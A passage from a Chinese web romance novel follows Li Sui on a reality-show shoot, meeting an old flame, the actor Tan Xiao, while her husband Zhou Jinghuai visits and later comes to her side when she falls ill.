【谈霄也太牛了!不会是来之前查过资料吧?】 【巧合吧,这糖画老师在网上除了几张照片,根本没有任何资料。】 …… “第二道题,你们吃过最让你怀念的一道菜是什么?”谢婉婷提高音量,刻意强调,“这道题太难,所以有两个答案一致就算成功,不过为了避免人情世故,不能写今天餐桌上的菜色!” 刚想写土豆牛腩的胡璇无语地停下了笔:“太过分了吧!” 餐厅里陷入片刻沉默。 黎穗思考着心里答案,过了会儿,表情坚定地写下三个字。 写字板同时翻开,第二组四个答案完全不同。 谈霄写了番茄鸡蛋汤,而黎穗的画板上是——海鲜面。 【谈霄是出了名的谁的面子都不给,今天终于也懂得人情世故了,特意写昨晚成员们做的菜,看来是真的解约后,后台不够硬了。】 【没人发现谈霄在这游戏里第一次看别人的画板了吗?看了黎穗的!!】 【哥哥真聪明,卡bug的神,导演只说不能写今晚餐桌上的,又没说不能写昨晚的,其他几个怎么一个都没反应过来。】 【海鲜面是有什么故事?细说!】 【完咯,这下明天大家真的要吃空气了,节目组可真不是人啊,但我实名爱看!】 …… 连续五道题,大家都没有得分,直播间里,观众开始躁动地控诉节目组。 谢婉婷也终于心软,放了大家一马:“行吧,下一道题我觉得是送分题:在今晚的餐桌上,大家最喜欢的一道菜是什么?” 黎穗刚写完“青椒”两个字,才想起这完全是道考验人情世故的题目,于是纠结几秒后,默默修改了答案。 结果也基本如黎穗所预料,七个人都写的土豆牛腩,包括谈霄自己,但依旧有一个人,不按套路出牌,那就是坐在角落里的刘文姿。 她写的居然是黎穗做的糖醋排骨。 惊讶的不止黎穗,谢婉婷的眼神扫了一圈,也忍不住问刘文姿:“你为什么没写土豆牛腩?” 刘文姿一边擦着答题板,一边理所当然地回道:“我不爱吃啊。” “……” 勇,太勇了。 就在黎穗对刘文姿的抗骂能力肃然起敬的时候,谢婉婷又把注意力放到了她身上:“那黎老师一开始写了陈瑶做的青椒豆芽,后来又划掉改成土豆牛腩,原因是什么呢?” 所有人都看向了黎穗的画板,谈霄也不例外,目光沉沉,仿佛掩藏着情绪。 黎穗心里有些无奈,她知道他这眼神的意思,大概有不解,也有不爽,因为土豆牛腩,是那时候他每次给她做菜,都会做的。 他应该觉得她很爱吃,也会是她的第一选择,完全没想过改答案的可能性。 “今晚的菜色里,我确实最喜欢青椒豆芽。”黎穗目光坦荡地看向谢婉婷,半开玩笑似的说,“但我不希望明天她们吃空气。” 在成员们的笑声中,默契问答环节结束,不多时,直播也正式关闭。 谈霄第一时间就走了,导致成员们忍不住窃窃私语他是不是心情不好。 黎穗并不惊讶,在她印象里,谈霄一直是一个我行我素的人,说什么、做什么,都以自己为中心,放在五年前,即便他没有心情不好,这样的举动,也是他做得出来的。 都说娱乐圈是个大染缸,看起来,谈霄倒是依旧没染上多少虚与委蛇的把戏。 成员们还要复盘今天的学习内容,黎穗便也离开了饭厅,但刚走出没几步,谢婉婷突然拉过她,压低了声音问:“黎老师,您和周总认识啊?” “周总?” “周景淮,骤雨科技的周总。” 黎穗心一震,模棱两可地“嗯”了一声:“怎么了吗?” “没事。”谢婉婷指了指门口,“周总就在门外呢,我本来请他进来,他说不用。” 黎穗惊讶地睁大了眼睛,几乎立刻就转身跑出了大门。 门外是一条小巷,由于出口封闭,巷子里很空荡,除了单手插兜靠在墙上的周景淮以外,只剩下一位距离他大概两米远,正蹲着抽烟休息的摄像大哥。 黎穗停在他面前,惊讶地问:“你不是今晚的航班要出差吗?怎么来了?” 和她笑意盈盈的样子不同,周景淮的神色看起来有些冷淡。 他一语带过:“探朋友的班。” 黎穗完全不信:“哪个朋友?” 周景淮指了指旁边的摄像大哥:“老房。” 摄像大哥跟侧面长了眼睛似的,突然偏过头来,带着浓重的乡音,无语地插了一句: “不是黄子的黄,是房色的房。” 周景淮:“……” 第44章 (二更) 周景淮好像不太高兴。 这是黎穗陪他逛了十分钟古镇后得出来的结论。 他今天,沉默得异常。 黎穗很不喜欢这种感觉,忍不住停下脚步,转身开门见山地问:“你是不是在不高兴?” 出人意料的,周景淮没有否认,没有顾左右而言他,反而淡淡给了回答:“是。” “为什么?”黎穗绞尽脑汁,想到的唯一一个可能是谈霄。 但是,她和谈霄的过往,周景淮应该是不知道的啊,而且已经过去的事情,她觉得没什么必要再提,所以才没跟他说。 正这么想着的时候,周景淮不冷不热地开了口:“为什么说是朋友教的?” 原来是因为那道糖醋排骨。 黎穗愣了愣,所以,他是在为她把他简单归纳为“朋友”不高兴吗? 对了,她忘了。 公主是需要独一无二的待遇的,比如那个专用头盔,怎么能和别人一样,只是“朋友”呢? “当时……本来就有点紧张,而且说老公的话,她们都肯定会追问嘛,网上肯定也会讨论,私生活被关注,多恐怖的一件事。”黎穗双目澄澈,在路灯下像是蕴了一潭清泉,令人不忍苛责。 周景淮轻哼一声,似乎并不满意这解释。 算了,公主是要哄的。 黎穗想。 “不然……”黎穗环顾四周,提议道,“我再送你个礼物?当作赔罪行不行?” 毕竟上次的头盔,看上去很有哄人的效果。 果不其然,周景淮松了嘴:“什么?” “你自己选!”黎穗豪气地一挥手,“肉眼可见,你随便选。” 周景淮还真不急不缓地带她逛起街来。 核雕、折扇、面塑…… 俩人走过各式各样的非遗小店,但周景淮一个都没看上,甚至一个眼神都没停留。 黎穗走得口都渴了,正想说爱要不要!他终于停下了脚步,转身走进一家手工饰品店。 饰品? 除了他一直戴着的那条黑色手绳,黎穗从来没见他戴过任何饰品。 她跟着走进店内,店内正播放着舒缓的情歌,除了一个三十出头的男老板以外,没有任何顾客。 周景淮停留在一堆手绳前,主体也是黑色手编绳,和他手上那条不同的是,这些手绳上,串了一段铜质管,上面手刻着一些文字:i(爱心)sh等。 就黎穗的兼职经验来看,几乎每个旅游地都会有类似针对外地游客的纪念品,sh,bj,gz等等,都是城市名字。 “……”她竟然不知道,周景淮是个这么有家乡荣誉感的人。 “你,确定要买这个?” 估计是听到俩人的聊天,老板热情地迎了过来,面对着周景淮这位潜在客户热情推销:“这位先生要买手绳吗?我们这个可以现刻的,不仅可以刻城市,也可以刻人名的。” 黎穗因老板的话而恍然大悟,难不成,他是想刻人名? 没想到这个念头刚冒出脑海,就被周景淮一口否决:“不用,就刻城市。” “行!”老板笑眯眯地带着他走到工作台前,一边拿出新的手绳和铜管,一边问:“要刻什么城市呢?” 周景淮说:“拉萨。” 他居然喜欢拉萨? 但是,好像也不意外,黎穗想起不久之前,周芷玉也说过,如果有时间的话,想去拉萨看看,觉得那是一个很神圣的地方。 可能,这个地方对周家,确实是有很强大的吸引力吧。 黎穗没再把注意力放在他的选择上,探头看了眼那堆手绳旁边的标价:35元。 她暗暗松了口气。 周景淮还是很贴心的,完全顾及到了她的消费标准。 不多时,老板就完成了刻字,他吹了吹手绳,正从旁边拿包装袋,却被周景淮婉拒:“不用袋子了。” “好。”老板直接把手绳递给了他。 黎穗很大方地扫码付钱。 一回头,周景淮正低头解着右手腕上的旧手绳,但或许是戴得太久了,手绳的卡口又比较复杂,他解了十好几秒都没有解开。 黎穗看不下去,拉过他的手腕:“我来吧。” 周景淮没有拒绝,待她解开后,又把新的交给了她:“顺便帮我戴上?” 黎穗白了他一眼,动作却很配合。 谁让她现在还在哄人呢。 她拿着手绳,从他指尖套入,卡在腕骨处那块凸出的骨头上,慢慢收紧。 最后,把那块铜质管移到正面。 i(爱心)ls的字样印入眼帘。 ls。 黎穗攥着手绳的尾端愣了片刻,听到他疑惑似的问:“怎么了?” 黎穗回神,抬头正对上他坦荡的眼神,她抿了抿唇:“没事,走吧。” 俩人一前一后出了店门。 本来想把这条路逛完,但没想到刚出店门,还没走多远,周景淮的手机便响了,他按下接通,简单“嗯”了两声便挂了。 黎穗猜测:“是不是催你去机场了?” 周景淮:“嗯。” 黎穗看了眼时间,也催促道:“那你赶紧走吧,我自己回去就行了。” “送你回去,不急。”周景淮倒是表现得不紧不慢。 “你万一赶不上怎么办?” “已经赶不上了,刚改签。” 黎穗:“……” * 周景淮向来如此,无论什么急事,似乎都不能让他惊慌,他都这么说了,黎穗自然也就不皇帝不急太监急了。 而且他真的很好哄。 肉眼可见的,在收了她那三十五块的礼物后,他又立马恢复了平日里那副欠揍的模样。 黎穗一边和他分享着这两天的录制趣事,一边慢慢悠悠往非遗小屋走,或许连她自己都没有注意到,在她所有的话题里,都没有谈霄的身影。 而周景淮也没有主动问起。 回程的路,似乎比出来时短很多。 面对面站在非遗小屋门口,黎穗朝他挥了挥手:“拜拜。” 周景淮却不为所动,靠在墙壁上,默默看着她,末了不甚满意地问:“要好几天不见,就这?” “不然呢?” 周景淮往前迈了一步,垂眸低语:“抱一下?” 黎穗因这三个字,愣在了原地,反应过来后,支支吾吾道:“你说什……” 周景淮没有给她拒绝的机会。 被一股热度包裹的那一瞬间,黎穗耳朵上的热度,也飚到了顶点。 和上一次为了感谢他而给的兄弟式拥抱截然不同,这一次,心跳声清晰地传入了黎穗的耳畔,扑通扑通,不知道是谁的。 她张了张嘴,却发现自己什么都说不出来,双手垂在身侧,僵硬得一动不动。 但渐渐的,他身上干净的气味,让她整个人慢慢柔软下来,她攥了攥手,右手不自觉地抬起,攥住了他腰侧的衬衫衣料。 巷子里晚风轻拂,氛围格外静谧,那一刻,黎穗突然有种自己好像是在梦里的错觉。 最后,也是周景淮主动松开了这个拥抱。 他抬起手,揉揉她发顶:“走吧。” “哦。”黎穗通红的耳朵被掩藏在发丝下,懵懵转身,推开门走进了老宅。 看到大门被阖上,周景淮靠在小巷的墙壁上,低头转着手腕上的礼物。 来之前,他觉得自己想问的有很多。 想问她,看到谈霄是什么感觉?时至今日还喜欢他吗?又为什么,完全不和他提起? 可这一瞬间,有了这个没被推开的拥抱,他却又觉得,什么都不重要了。 不知过了多久,空荡幽深的小巷里,掠过一阵带着凉意的晚风,耳边似乎传来不轻不重的脚步声。 周景淮闻声看了过去,一个挺拔的身影,穿着黑色T恤,头戴黑色鸭舌帽,遮住了双眸。 但周景淮知道,那就是谈霄。 察觉到前方有人挡路,谈霄这才抬起头来。 虽然私下没有交集,但俩人其实都听闻过对方。 隔着大概两三米的距离,直直对上目光,明明一眼都认出了彼此,但眼底却都平静淡漠,看不出任何情绪。 周景淮视若无睹,举步准备离开。 即将擦身而过的同时,谈霄却突然转过身来,打招呼似的,主动问了一句:“周总怎么会在这儿?” 周景淮垂眸慢条斯理地把玩着手绳上的铜管,把它慢慢转正了才抬头,云淡风轻地勾了勾唇。 “何必明知故问呢?” 第45章 半夜,房间里风扇哗哗作响,黎穗翻来覆去睡不着,一方面是热,另一方面,是因为周景淮那个突如其来的拥抱。 他、他干嘛啊! 黎穗一个鲤鱼打挺坐了起来,脸红成一片。 肚子突然咕噜一声。 晚上人多菜少,黎穗作为嘉宾也不好意思多吃,她摸摸肚子,翻身下床,打算去厨房找点东西吃,也算转移注意力。 这个点,摄影师都休息了,但厨房里却还亮着灯。 里面烟雾缭绕,刘文姿站在电磁炉面前,不知道在炒什么东西,一股焦味。 看清人,黎穗本来都想转身走了,但刚走了两步,又忍不住回头。 算了,她很怕明天起来,发现厨房炸了。 刘文姿沉浸在自己的世界里,连她走近都没发现。 黎穗低头一看,原来是蛋炒饭,但是…… “你这蛋炒饭都进煤灰了,还能吃?” “……”刘文姿冷冷淡淡白她一眼,自顾自做着。 黎穗也不管她,插上另一台电磁炉的插头,盛了晚上的冷饭、拿了鸡蛋,也准备做一份蛋炒饭。 看到她熟练地下油、炒蛋,刘文姿很明显被打击到,肩膀一垮,把锅里那乌漆嘛黑的蛋炒饭倒进了垃圾桶。 她叉着腰站在黎穗身边,沉默片刻,终于开口:“你炒两份。” 黎穗才不管她:“凭什么?” 刘文姿用最高傲的姿态,说着最卑微的话:“求你。” “……”好吧。 黎穗大人不记小人过,从冰箱里又拿了个鸡蛋:“你再盛点饭。” 这,刘文姿还是会的。 她端着一小碗冷饭走到黎穗身边,看她把米饭倒进了锅里。 时间一分一秒在走,就在黎穗把蛋炒饭出锅的时候,刘文姿终于忍不住问:“你为什么要帮我?” 黎穗抽空睨她一眼:“什么?” “海鲜过敏的事情,你为什么要帮我解释?” “那你自己为什么不解释?” “我为什么要解释?”刘文姿理所当然地说,“这节目录下去,我被骂的点可能有一百个,我难道要一个个解释吗?” “也对。”黎穗耸耸肩,“那你当我圣母心泛滥。” 俩人在厨房的小桌边坐下,刘文姿欲言又止:“你……不是很讨厌我吗?” 黎穗把其中一碗蛋炒饭往刘文姿面前推,从旁边的碗筷筒里拿了把勺子。 她想了想:“也没有很讨厌。” “不讨厌你以前看到我就翻白眼?” 她居然还敢提这事儿? 黎穗直视着她,无语地反驳:“那不是因为你先朝我翻白眼?” “那是因为我感觉到你讨厌我,我才朝你翻白眼的!” “那是因为我感觉到你先讨厌我,我才让你感觉我讨厌你的!” “……”刘文姿差点被绕晕了。 “好吧。”她心虚地缩了缩脖子,低头舀起一勺香喷喷的蛋炒饭塞进嘴里。 那一刻,叫嚣的胃瞬间偃旗息鼓。 “所以,你当时为什么讨厌我?”黎穗已经疑惑这问题很多年了。 “我……”刘文姿紧攥着勺子,不知道在想什么。 想起之前陈辉说,刘文姿也喜欢谈霄,虽然觉得不太可能,但黎穗也想不到其他原因了,于是直截了当地问:“真的因为谈霄?” “和他有什么关系?”刘文姿满脸嫌弃,“就他当初那整天阴沉沉的样,也就你把他当个宝。” “那是为什么?” “因为……”刘文姿破罐破摔似的,“因为你漂亮又成绩好,我嫉妒,不行吗?” 黎穗舀起一勺蛋炒饭,满意点头:“有理有据。” 见她没再追问,刘文姿暗暗松了口气。 俩人不到十分钟就把一碗蛋炒饭吃完了,各自洗了各自的碗,黎穗关灯准备回房。 刘文姿却在那时喊住了她。 黎穗回头,看到她面无表情地说:“我懒得解释,但是看在今天这碗蛋炒饭的份上,我还是得说,不管你信不信,当年不是我把你关在厕所的。” 刘文姿显然还不知道陈辉已经暴露的事情,黎穗也没多解释,只问:“那你当初在聚会上,为什么承认?” “谁承认了?”刘文姿气得瞪圆了眼睛,“当初那群人心里早有定论,还在那阴阳怪气我,我就一时脑抽说了句:就算是我,你们有证据吗?那群人没学过中文吗?前面有个:就算!” 黎穗终于算是把一切的前因后果搞清楚了。她想,这种冲动话在同学圈子里被扭曲夸大,最后被当作所谓实锤,大概也少不了陈辉的添油加醋。 “行吧,我知道了。” “你知道就好。”刘文姿移开目光,表情依旧淡漠,朝三岔路的另一边走去。 黎穗回到房门口,正往口袋里摸索钥匙。 “吱——” 前方突然传来木门被打开的声音。 黎穗本能偏头,看到谈霄拿着扇子从房间里走了出来,大概也是受不了屋内的闷热。 四目相对,彼此眼神里都没什么情绪。 黎穗坦然地微微颔首,算是打了招呼,客套的姿态,和面对一个第一次见的嘉宾无异。 谈霄面无表情,和她擦身而过。 黎穗不由气笑了。 要算起帐来,当年也是他不辞而别,现在这副她欠他八百万的样子是干嘛? * 最近精神高度紧张,再加上乱七八糟的旧人重逢,这一夜,黎穗睡得很不安稳,断断续续做了无数个梦。 她梦见,光影绰绰的梧桐园里,阳光透过叶片间隙洒落在地,照在石桌旁的俩人肩上。 她拿着棉签,小心翼翼地帮谈霄消毒,秀气的眉毛微微蹙起,不想惹他不高兴,却又忍不住劝阻。 “能不能别打架了?” “不然呢?”谈霄冷笑一声,“靠讲道理吗?黎穗,我说了,我和你这种好学生不一样。” 说完,他抽回手,起身走了。 黎穗低头看着手里染血的棉签,心跟被人拉扯似的,一阵阵泛着疼。 可就在此时,梧桐园的入口却出现了一道身影,透过迷蒙的泪眼,黎穗看到了一身白色衬衫的周景淮。 他靠在围墙上,单手插兜,欠嗖嗖地道:“很少见到比我还装的男的。” 黎穗:“……” 她又梦见,高考的第二天晚上,老旧的小屋里,餐桌上放着简单的菜色。 在此之前,谈霄只给她做过两顿饭,因为他觉得麻烦。 而这次,还是在高考这么重要的日子里,所以惊喜的同时,黎穗也觉得有些奇怪,忍不住问:“今天怎么想到自己做饭了?” 谈霄轻轻勾了勾唇,嗓音平淡无波:“当提前帮你庆祝吧。” “那为什么不索性等明天考完了再做?” “明天考完……”谈霄说,“我们出去吃吧。” “好啊!”她没有多想,开心地应下,发现汤里没有勺子,于是赶紧起身去厨房。 可是门一开,她却惊恐地看到周景淮正悠闲地给自己倒着水。 听到声音,他回过头来,嗤笑一声道:“这种屁话,你也信?” 她还梦到,那黑暗的高考最后一天。 她想知道,那张纸条到底是不是谈霄写的,于是高考结束后的第一时间,她就跑去了他的考场,却从他同班同学的口中得知,他根本没有来考最后一门。 黎穗当时心里其实已经明白,他应该是去帝都了。 于是在把大圣安顿好后,她又赶去了谈霄家,却只看到房东正在收拾客厅。 她才知道,他连房子都退了,走得那么彻彻底底。 她第一次觉得那么无力,走到楼下便利店借了电话打给他,却是一个陌生男人接的,说是他经纪人。 挂断电话后,她颓丧地蹲在店铺门口,不知过了多久,突然感觉到有一道身影站在她面前,替她挡住了旁人异样的目光。 她惊喜抬头,却发现还是欠揍的周景淮。 “你这次又要说什么屁话?”黎穗暴躁地站起身和他对峙。 未曾想,这次的周景淮,收起了浑身的讨骂气质。 他的右手温柔地摸了摸她的后脑勺,眉眼间蕴着笑意,低沉的嗓音被裹在晚风中,一字字敲打在她的心头。 他说—— “毕业快乐。” 第46章 (二更) 梦境断断续续,这一夜,黎穗睡得极不安稳。 以至于翌日早上,晨光熹微,她就醒了。 她的行李很少,不到十分钟就收拾完了,想着成员们估计还没起床,而且距离节目组安排送她去机场的时间,还有两个小时,她打算给大家做顿早餐作为道别礼物。 沿着走廊往厨房走,黎穗还是没理解,自己怎么会做那么离谱的梦,就像是几个时空被糅合在了一起似的。 难不成是小说写多了? 黎穗揉了揉眼睛,推门而入,却没想到谈霄已经在蒸包子了。 闻声,他回头。 俩人的眼神再次对上。 非拍摄时间,餐厅里的摄像头罩上了黑布。 黎穗讲话也自在了些:“你蒸了多少包子?” 谈霄一边确认时间,一边回:“十个。” 那估计不够吃。 她带来的牛肉还没吃完,黎穗想了想说:“那我再煮点粥吧。” 把牛肉洗干净,切成肉末腌制,黎穗又接水淘米。 俩人虽然共处在一个空间,却无话可说,中间就像是有一层无形的屏障阻隔,不过黎穗倒是没觉得尴尬,她全部的注意力,都聚焦在和周景淮的聊天记录上。 【先煮粥吗?番茄和牛肉什么时候放啊?】 这是她第一次煮番茄牛肉粥,以往只吃过周景淮做的,东西都准备好了,具体是什么流程,她却不太清楚。 也不知道周景淮醒没醒。 黎穗正想着要不自力更生找找网络菜谱的时候,那头就回了消息,是一段十几秒的语音。 黎穗将它转换成文字,但不知道为什么,句不成句,完全看不懂意思。 她无奈把音量调小,手机贴近耳朵,终于明白了为什么。 周景淮的声音,听起来就是刚醒,带着浓重的困意,显得格外低沉又不清晰,但黎穗多少还是听懂了。 先把大米下锅煮,番茄加盐翻炒到出沙再加到粥里,最后再加牛肉。 黎穗暗暗记下,拿着切好的番茄走到电磁炉前,却发现没有盐,她四处环顾,终于在头顶的木架上,看到了油盐酱醋和几个斜靠着的木盆。 她踮起脚,把盐罐子拿下来,待翻炒的时候,又停下继续给周景淮发消息:【炒番茄的时候,盐要放多少啊?】 周景淮:【适量。】 纯文字不足以显示自己内心的愤怒,黎穗忍不住按着语音开麦:【我跟你说,教做菜的时候说适量的人,也是要被砍头的!】 那头周景淮语调惺忪,却带着笑意:“多大的勺子?” 黎穗立刻给他拍了张照片,周景淮便道:“半勺。” “行。”黎穗小心翼翼舀了半勺盐,绕着圈均匀撒在锅里。 刚把勺子放下,黎穗正想和周景淮说后面的步骤她差不多会了,但拿着手机还没来得及说话,左手突然被人一扯。 黎穗踉跄了一下,还没反应过来,就被谈霄扯到了面前。 手里的手机掉落在地的同时,身后传来“嘭嘭嘭”的几声巨响。 黎穗吓一跳,本能回头,发现失去了盐罐子支撑的木盆,此刻跟倒塌的积木似的,一连串滑落下来。 思绪回笼,她才想起掉地的手机。 低头一看,谈霄已经先她一步把手机拿了起来。 手机屏幕还亮着,正停留在和周景淮的聊天界面。 昨晚,黎穗哄了周景淮一路,回来看到他的微信名,又想起上次发错消息的事情,于是一箭双雕,替他改了一个巨长巨显眼的备注—— 每天都需要哄的淮淮公主。 此刻,这串备注就这么突兀地显示在手机上。 黎穗的第一反应是羞耻,但转念一想,反正谈霄也不知道是谁,就算知道,也无所谓。 “谢谢。”黎穗神色坦然地接过,转身想收拾木盆。 谈霄的右手却没有松开,反而越攥越紧,目光沉沉,看不透情绪。 黎穗感觉到手腕一阵疼意,她眉头皱起,用力抽了抽手:“你……” 话还没说完,门外突然响起打闹声,估计是成员们来了,要是被她们看到……黎穗不太敢想这件事的后果。 她更用力地把手往回抽,压低了声音警告:“你松开。” 谈霄却不为所动,冷哼了一声:“你怕什么?” 黎穗无语,甚至想直接踩他一脚,但还没动脚,厨房门吱呀一声被推开。 与此同时,谈霄的手迅速收回。 手腕处泛起一圈红色,黎穗压着不爽,默默把手插进了口袋。 * 吃完早餐后,黎穗和成员们正式道别,拖着小小的行李箱到门口等车。 但距离约定的早上十点已经过去了十分钟,车还是没有到,黎穗疑惑地给司机打了个电话。 那头不知道在干什么,声音听起来很焦急:“黎老师,不好意思啊,车抛锚了,我现在正在路上等拖车。” “啊?”这么巧?黎穗看了眼时间问,“那请问要多久呀?我怕赶不上航班。” “不知道啊,不知道拖车什么时候来,也不知道要修多久。” “……”黎穗退而求其次,“那我自己打车去吧。” “不用不用。”司机热情道,“节目组还有一辆车,小王应该有空,我给他打个电话,让他赶紧去接你。” 古镇偏僻,不知道打不打得到车,就算打得到,从这儿到机场要开一个多小时,价格铁定不便宜。 好像没必要花这个冤枉钱。 黎穗便答应了:“那好,车牌是多少啊?我就在小巷口等着。” 司机报了一串车牌号,黎穗默默记下,在入口等了大概十分钟,果不其然看到这个牌照的黑色大众,在面前缓缓停下。 在司机的帮助下,黎穗绕到后备箱放了行李,然后拉开后座车门坐了进去,但也就是在关门的那一瞬间,她意识到不对劲。 侧头一看,谈霄的手肘抵在车窗上,左手虚握成拳撑住脑袋,正在补眠。 她还来不及说什么,车已经汇合进车流。 既来之则安之,赶上航班最重要,黎穗做好了心理建设,也不管他,放轻了声音和司机攀谈:“王师傅,我是去宁北机场。” “我知道我知道,徐师傅跟我说了,放心,一定把两位准时送到。” 黎穗这才安了心,往后一靠,低头看起了手机。 徐师傅刚又给她发了消息:【黎老师,不好意思啊,小王说他那边也有活。】 黎穗疑惑道:【啊?我已经坐上车了。】 徐师傅:【这小子!又骗我,那行,那就没事了。】 黎穗:【谢谢。】 黎穗按灭手机,余光扫到旁边谈霄那双黑白相间的运动鞋,内心有怀疑,却又觉得此刻装傻才是最好的方式。 车内安静异常,王师傅透过后视镜看了眼后座闭目养神的男人。 奇怪,明明刚才是他要求他停车接人的,接到人之后却又在这装睡。 现在的小年轻,真是难理解。 * 车行过了大半,下了高速,却遇上堵车。 “又堵了!这条路天天堵,就不见管管!”在司机的骂骂咧咧中,谈霄终于醒了。 黎穗看了眼时间,还是担心赶不上航班:“前面是遇到车祸了吗?” 她好像听到了救护车的声音。 “不知道啊。”司机解开安全带,“我下去看看。” 说着,司机开门下了车。 车内的氛围显得越发尴尬,黎穗想起刚才的事情,主动开口:“谢谢。” “谢什么?” “是你让司机停车接我的吧?” 谈霄不置可否,没有再装不认识,只是语气还是显得冰冷:“怎么会来这个节目?以前不是说不喜欢糖画吗?” 黎穗客套地扯了扯嘴角:“兴趣这种东西很难说嘛,以前不喜欢的,后来喜欢了也很正常。” “周景淮也是吗?” 黎穗愣了愣:“什么?” 谈霄微掀眼皮,目光如炬一般,直直射了过来。 “你和周景淮,还有联系。”他用的是陈述的语气,而非询问。 黎穗只和谈霄提起过一次周景淮这人,是为了解释她被周芷玉认干女儿的前因后果。 那次之后的一年里,黎穗从来没再跟他聊起过周景淮,因为于那时候的她而言,周景淮就像是另一个世界的人,本不应该在她的生活里出现。 所以谈霄居然记得这名字,黎穗还挺惊讶。 “当然啊。”她坦然点头,又理所当然地反问: “你见过哪对新婚夫妻不联系的?” 第47章 黎穗好像已经习惯了,周景淮每天都回家的日子。 他出差之后,家里空落落的,黎穗反而觉得有些无聊。 深夜,万籁俱寂,公主和大圣一左一右,护卫似的趴在她身边昏昏欲睡,黎穗靠坐在床头,无聊地刷着微博。 热搜第一果然又和谈霄有关—— 【谈霄偶遇】 黎穗没有点开,却差不多猜到了热搜的内容,她的脑海中却不由浮现起那天在车里的场景。 在她说她和周景淮结婚了之后的大概一分钟,车内充斥着几乎令人窒息的寂静。 谈霄的眼里看不出任何情绪,过了许久,他收回眼神,继续闭目养神。 吐出的话却丝毫不留情面。 “下车。” 黎穗不禁气笑了,这么多年,他的性子果然还是一点没变。 高兴的时候,喂她一颗糖。 不高兴的时候,就可以随意把她丢下。 但黎穗,却早已不是六年前那个觉得可以和他抱团取暖的黎穗了。 她神色悠哉地往后一靠:“凭什么我下?这是节目组的车,又不是你私家车。” 黎穗说完,才后知后觉地意识到,自己这调调,有点周景淮附体的意思。 谈霄看起来也被她的反应惊讶到,沉默了几秒后,他戴上口罩,推开车门,利索地下了车。 打探完消息回来的王师傅在门外盯着谈霄的背影看了一会儿才上车,系安全带时还在回头:“谈老师这是怎么了?不去机场了吗?” “可能突然有事吧,不用管他。”黎穗笑笑,没有多言。 大概就是因为这,才有了热搜上的偶遇图。 黎穗没什么兴趣,甚至没有点进去看,她往下划动着屏幕,却又因为谈霄的另一个热搜,停下了动作。 【谈霄暴雨将至】 因为后四个字,黎穗点了进去。 #谈霄暴雨将至#双禾的《暴雨将至》即将开拍,S级大项目,据说男主已经定了最近大火的谈霄,大家觉得适配吗? 【双厨狂喜!!!双禾大大yyds!】 【不合适吧?男主是温柔腹黑建筑师,谈霄的气质完全不符合啊。】 【非官宣不约,请关注谈霄已播出的爆剧《时光里的她》和正在拍摄的医疗剧《护你》。】 【我觉得不错了,这么牛的故事,希望编剧不要魔改。】 …… 瓜真真假假,难以分辨,黎穗看完就抛之脑后了。 肚子咕噜叫了一声,黎穗伸手摸摸,周景淮找的厨师,做菜虽然干净又好吃,但是真的不禁饱。 这会儿又饿了。 好想吃烤肉、炸鸡…… 黎穗想了想,退出微博,大喊一声:“公主、大圣,集合!” 公主和大圣齐刷刷抬头,公主裙和小卫衣上的锦鲤徽章在灯光下闪闪发亮。 黎穗给它俩拍了张合照,按照约定发给周景淮:【可爱不!新买的情侣装。】 周景淮:【可爱。】 黎穗状似不经意地确认了一下:【对了,你是后天回来吗?】 周景淮:【明天是想做什么怕被我发现的坏事儿?】 这人,长千里眼了吗? 黎穗:【没有,我就是确认一下,明天小店休息,我去找小雨逛街。】 周景淮看起来没有怀疑,于是黎穗刚和他聊完,就立刻给何潇雨发起了邀约,心里的激动难以掩饰。 黎穗:【明天!烧烤!炸鸡!奶茶!冰淇淋!】 何潇雨:【完全ok!】 * 第二天中午,俩人直奔商场顶楼一家烤肉店。 牛排、五花肉、炸鸡……黎穗点了满满一小桌。 当香气腾腾的五花肉伴着生菜入嘴的那一瞬间,黎穗开心地晃了晃脑袋。 “这才是人间美味。” 何潇雨看她这样子,忍不住调侃:“你这,别人不了解的还以为周景淮平时虐待你呢。” “倒是没有虐待,但是白米饭吃多了,真的很想吃点杂七杂八的。”黎穗双颊鼓鼓,跟囤食的小仓鼠似的。 何潇雨理所当然道:“不是,你想吃就吃呗,周景淮在家,你就不敢吃了?这不是你啊。” 黎穗愣了一下,对啊,明明就算周景淮在家,她也可以吃这些,周景淮又不是按着她的脑袋不让她吃,她这么听话干嘛? “也不是。”黎穗想了想,“我其实肠胃一般,之前两次急性肠胃炎把我爷爷吓坏了,就管我比较严,而且现在长大了,觉得吃干净一点也确实没坏处。” “我都差点忘了这事儿,那你还是少吃点吧。”何潇雨担忧地给她倒了杯温水。 黎穗又夹起一块五花肉,抱着侥幸心理道:“偶尔放纵一次应该没……” 黎穗的话还没说完,窗外突然传来嘈杂动静,她疑惑地探头望去,发现不远处一位顾客和商场保安起了冲突。 顾客正指着保安的脑袋大骂,后者也起了怒火,但很快被人拦住。 何潇雨吃着这瓜,倒是突然想起来一件事:“哎,你有没有听说?陈辉好像也在一个商场里当保安。” “保安?” “嗯,苏天明说他被赶出公司后,公款被追回,穷得叮当响,上次在商场遇到,苏天明还请他吃了饭。”何潇雨啧啧两声,“说实话,我本来以为他俩是真朋友,但就后来几次聊起,看苏天明的态度,我才感觉也就是塑料兄弟。” 黎穗夹起一块牛肉,不甚在意地蘸着酱料:“你还是别和他接触太多了,也不是什么好东西。” “话糙理不糙,但你这话确实挺糙的。”何潇雨忍俊不禁,“放心啦,要不是他主动找我,我都懒得理他。” “他不会是看上你了吧?” “这不是很明显吗?从他非要送我生日礼物我就看出来了。”何潇雨朝她抛了个媚眼。 “礼物?”黎穗暂停了咀嚼的动作,“礼物怎么了?” “算了,你一向迟钝。”何潇雨轻啧一声,“姐跟你解释一下,怎么验证一个男的是否喜欢你,就看他愿不愿意为你花钱,愿意买一千多的礼物,那显然就是喜欢。” 黎穗突然感觉喉咙被噎住,她的右手在桌子底下转了转手腕上的四叶草手链:“那要是……五位数呢?” “那不是喜欢。” 黎穗一怔,还没分辨出是轻松还是失落,又听到何潇雨笃定地说:“那是拿你当祖宗了。” 黎穗:“……” * 事实证明,侥幸心理这种害人的东西就不应该存在。 在回家的车上,黎穗就隐隐感觉到肚子不太舒服,但她依旧抱着侥幸心理,想着或许只是乱七八糟的吃太多,撑着了。 直到深夜半梦半醒间,那种疼痛感变本加厉,一阵阵的抽疼,伴随着恶心感涌上喉咙,黎穗才悔不当初地确定,完了。 跑了好几次洗手间,她迷迷糊糊地在床上翻来覆去,开了灯想去洗手间,却感觉浑身都没有力气。 不知过了多久,门外突然传来敲门声。 黎穗已经有些分不清这是现实还是梦境,也不知道自己究竟有没有回应,等她稍微清醒一些的时候,周景淮正用手背贴着她的额头,确认她的情况。 